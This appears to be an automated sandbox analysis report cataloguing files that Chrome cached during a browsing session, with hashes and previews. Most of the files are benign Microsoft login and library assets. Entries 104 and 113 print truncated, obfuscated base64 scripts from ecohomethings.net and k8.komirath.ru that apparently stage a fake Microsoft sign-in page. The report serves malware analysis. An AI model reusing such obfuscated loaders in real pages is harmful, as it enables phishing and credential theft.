Preview:	L..................F.@.. ...$+.,.....S..tc......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ&\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 14:33:11 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.011277429928973
Encrypted:	false
SSDEEP:	48:8xjdTT07Zs4H7QidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbsy+yT+:8xhcNfTTTbxWOvTbsy7T
MD5:	E3931D8FCF1BDDFACD04F510ABB2859A
SHA1:	D7FE10CC95847E374B791799FCB262558F7CC3FA
SHA-256:	EFF6B2BC1DEDFE5EACFA837B529A5236565FF2CBD569C8240A7F6739391D58F8
SHA-512:	9B812EA0528E81B62A78FD5D01DD0F92031ECDF321BDF9DF76C1DA57DEE3F73D18BF19BA44D705FB8B4E2DC489B46199386A4C3544791F7AF971EA128E2A1521
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........tc......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ&\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	dropped
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1321), with CRLF line terminators
Category:	downloaded
Size (bytes):	1962
Entropy (8bit):	5.974560133248834
Encrypted:	false
SSDEEP:	48:w7blP0TlXioGCoWv2xfUSM9t7juI6wDFPr:wNytY2v+fUl9ZuI6ED
MD5:	97B881EC98DD6E6D509514FAE4CA5EDE
SHA1:	B33189B635DBCCE92579306E23422AC73CAB5D8D
SHA-256:	CE9DCE1BF588A141080A266C774EEE72DF7CDBAA9BFC467282A9EDD3B5A2DCF4
SHA-512:	566E1E9151BBCA9006879BB226F05C210F0E1C6A92A1BEAC5375B9D8C67E0BB6A385DF30092D30677DC13F7B9E221DBEB28F04E738F6E9885E4E78D1465D8358
Malicious:	false
URL:	https://ecohomethings.net/res444.php?2-68747470733a2f2f4b382e6b6f6d69726174682e72752f316a5656536847492f-starwort
Preview:	var NNkNILwPCekgDYfA = document.createElement("script");..NNkNILwPCekgDYfA.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(NNkNILwPCekgDYfA);..NNkNILwPCekgDYfA.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiRzVYaGlEOFpnaFFtVHhERDdnTVQxd1VSaDRcL2ErQnFnWkRyUEJPWjZVeGNkXC9ud2hFY0hoeWlLUGxBamtcL0UrcGc4OEtJQmhyUUZlZ1BzK3R4YVZwekIrSTFIQVZDOXo3N05PdExUV0ZcL2tjdEJ2MHo2ZmR6RUVsbVR2WnhkZERLSGJzVmIyaE92QklVVExnTVFLbFREOWlXSUltcHRxS1REeGJQMGU0VkRlNisrVlcxc0Fza3NYbklKTEUyZmlPbEdcL1FFMnN0MTBKY0tudk9mdER4bUUzd1wvbHR1ZmMrZ2o2bldpbTRib1BHU282WUtkMHBrTzZnNERQZjFFT0FISVVLaE9QN3NnZlU5Q2hVdnBPa0diSGo2N01NeGZIejlqT2l6Vk9xdEpUamhZemtYWHlXRDE2Y1dzc0ZYUU43RUFPZ2FqWUVtK1YxeGRFaWlEamxac0EyZzh5T29NWjdDTDN6V0hEZ1lxS1ZRa2h4NUdxYXRFdjF5Z3JlV05kdFwva09Ecm5ZQWxNNmNiMlMzaDJaTmxuYXZQeU9iempKbVIxMTE3RnJib1FiSEgxTnc3MnpSdHBpeGpmZUYzT1FpM1FKRmJ2d0lNdWJZdWVSbnQ0VW9TT0dkZDd0VHRXVGxXZHhrWDNKOUdwU1lFYlwvejJ2Z3JRVjNUR1lXeHdqWjFuNVhZZ1lIdUM0en

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 450755
Category:	downloaded
Size (bytes):	122515
Entropy (8bit):	7.997419459076181
Encrypted:	true
SSDEEP:	3072:1L4xVJNv/cJPu5OEjvuUQIq40zDH227PURbj:1kbGugELatzL7PUlj
MD5:	AC9A6ED508328361A4C9530325A94076
SHA1:	ADC81FAE51EB66A220539EEEDECEB96CFF390BBB
SHA-256:	BA93F4A83BB77D32AF9AFB9B014BFD13FD497E3D8F15AF016C782ABD1D34037B
SHA-512:	066D92389A7EFB3A80FCFC86696EE6AE008259570F73814303A9ACC1690F881DF2034A16D5C7970BA703648CA79C2E7CBAA2CAD98C28879ADD44AB06620305B4
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q..g..p1.:1t.}..y..}8...3...8....b.=(..3..d[..Os......%....Z...G.......x...2.,..RP..+..O. _....n.;=.?.....w../au.I.p...U\|;......WM.f?...9.>8..9.....S../;._..un...].:_..e..V:.....@..[..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........B.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^........N1.F....@..W%y.....t...Q....Y.5.$.O..x@.l.4.a.b.f..3.2.B...DL}4Y.:.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5..*....D.(9...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 76, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.022997040570905
Encrypted:	false
SSDEEP:	3:yionv//thPlozttZt/hAkxl/k4E08up:6v/lhPyt/Kk7Tp
MD5:	D6A0FA403A4B06A2E824553DDF751F0F
SHA1:	A46F5AFB54CC321A41C7A5FB0959E2C51FC5C137
SHA-256:	73E03D4C2911F7666D780BEFD1D27F0E3FA6097D17489872C8D6EFDEC1CD5DA8
SHA-512:	1855FFA1B592E056C4ECD1D11E1911ABC993DB99AE595976A5B9428CE71E1BF7A0D3074158A79776E50749E31B429F9CEDB32AB9F8DD9BC27635B15DEF082058
Malicious:	false
Preview:	.PNG........IHDR.......L.....9.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	96
Entropy (8bit):	5.218997042938778
Encrypted:	false
SSDEEP:	3:iuh72iczBra82yFsJFouMo+q6mgqWd6Nk:NciczBdTFsJFoM+q62Nk
MD5:	9872BE83FA60DA999B65A3BD481731D3
SHA1:	B59A8688C6A0D5311C6410A0D91537084E148F2D
SHA-256:	5DEE42A8D755847C0813D4E5F033F51197B20DD3C6C2EE4FBE31FD27B2F593D3
SHA-512:	53E947C87386ECF19E3B36E3F292A9757911F0F8B02FE36DDFC0DD74A3C784D97B15066AB4895EA694F66792A8C7CF525F59A03868FF5D5F0C3B5203D34C5F7D
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	CkYKDQ3RW1FSGgQIVhgCIAEKNQ1Xevf9GgQISxgCKigIClIkChpAISMuKiQtXyslJj8vPV4pKCw6O348JyJcXRABGP////8P

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 450755
Category:	dropped
Size (bytes):	122515
Entropy (8bit):	7.997419459076181
Encrypted:	true
SSDEEP:	3072:1L4xVJNv/cJPu5OEjvuUQIq40zDH227PURbj:1kbGugELatzL7PUlj
MD5:	AC9A6ED508328361A4C9530325A94076
SHA1:	ADC81FAE51EB66A220539EEEDECEB96CFF390BBB
SHA-256:	BA93F4A83BB77D32AF9AFB9B014BFD13FD497E3D8F15AF016C782ABD1D34037B
SHA-512:	066D92389A7EFB3A80FCFC86696EE6AE008259570F73814303A9ACC1690F881DF2034A16D5C7970BA703648CA79C2E7CBAA2CAD98C28879ADD44AB06620305B4
Malicious:	false
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q..g..p1.:1t.}..y..}8...3...8....b.=(..3..d[..Os......%....Z...G.......x...2.,..RP..+..O. _....n.;=.?.....w../au.I.p...U\|;......WM.f?...9.>8..9.....S../;._..un...].:_..e..V:.....@..[..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........B.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^........N1.F....@..W%y.....t...Q....Y.5.$.O..x@.l.4.a.b.f..3.2.B...DL}4Y.:.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5..*....D.(9...

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7525), with CRLF line terminators
Category:	downloaded
Size (bytes):	19989
Entropy (8bit):	5.884383012087302
Encrypted:	false
SSDEEP:	384:1nuvhn5ZibeNfRpaXsat0l3knuvhn5ZibeNfRpaXsat0l3RlrBhlrBIPQ:Un5ZibeN2Xs4O3Zn5ZibeN2Xs4O3Rlr5
MD5:	CD229541B05DB053E0A980A8CBB71DB1
SHA1:	655D7013E115F250685C308969F94B2FC1AE2553
SHA-256:	EBF287F21099C499EB36CB0D6AB8F3FAC9B99FAD7B28AFD55F11D8ECDA37A24F
SHA-512:	4A5BB16DD1D1E7DB39DF0F834C6DF21FF976044BF6C3721CB9B56DB6F60AF384B4E9869EC32F79C2456EF57F087CB165F9CABF115A88A1E834C9C0C95314C583
Malicious:	false
URL:	https://k8.komirath.ru/1jVVShGI/
Preview:	Success is not how high you have climbed, but how you make a positive difference to the world. -->....<script>../* I find that the harder I work, the more luck I seem to have. */..if(atob("aHR0cHM6Ly9LOC5rb21pcmF0aC5ydS8xalZWU2hHSS8=") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
